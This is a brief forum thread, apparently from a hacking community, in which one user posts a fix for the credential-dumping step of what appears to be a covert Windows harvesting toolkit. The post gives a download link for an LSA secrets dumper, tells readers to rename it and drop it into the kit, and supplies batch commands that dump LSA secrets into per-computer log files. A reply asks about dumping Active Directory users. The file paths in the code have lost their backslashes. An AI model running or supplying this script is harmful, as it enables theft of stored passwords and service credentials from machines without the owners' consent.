LSA Secrets fix

[Forgotten]

For those who have encountered a failed LSA Secret extraction, I found a fix.

First, download the console version of the program:

http://www.nirsoft.net/utils/lsasecretsdump.zip

Second, place into the /WIP/CMD/ directory and rename to lsadump.exe

Third, replace the original LSA Secrets code in the go.cmd with this:

Echo ************************************ >> ....Documentslogfiles%computername%.log 2>&1

echo ***********[Dump LSA secrets]******* >> ....Documentslogfiles%computername%.log 2>&1

Echo ************************************ >> ....Documentslogfiles%computername%.log 2>&1

   .lsadump.exe >> "....Documentslogfiles%computername%_LSA.log" >> ....Documentslogfiles%computername%.log 2>&1

   copy ....Documentslogfiles%computername%.log+....Documentslogfiles%computername%_lsa.log* ....Documentslogfiles%computername%.log  >> nul

   del /f /q "....Documentslogfiles%computername%_lsa.log" >nul

And there you have it. A working LSA Dumper!

[pseudobreed]

Has anyone got LSA to dump users in Active Directory?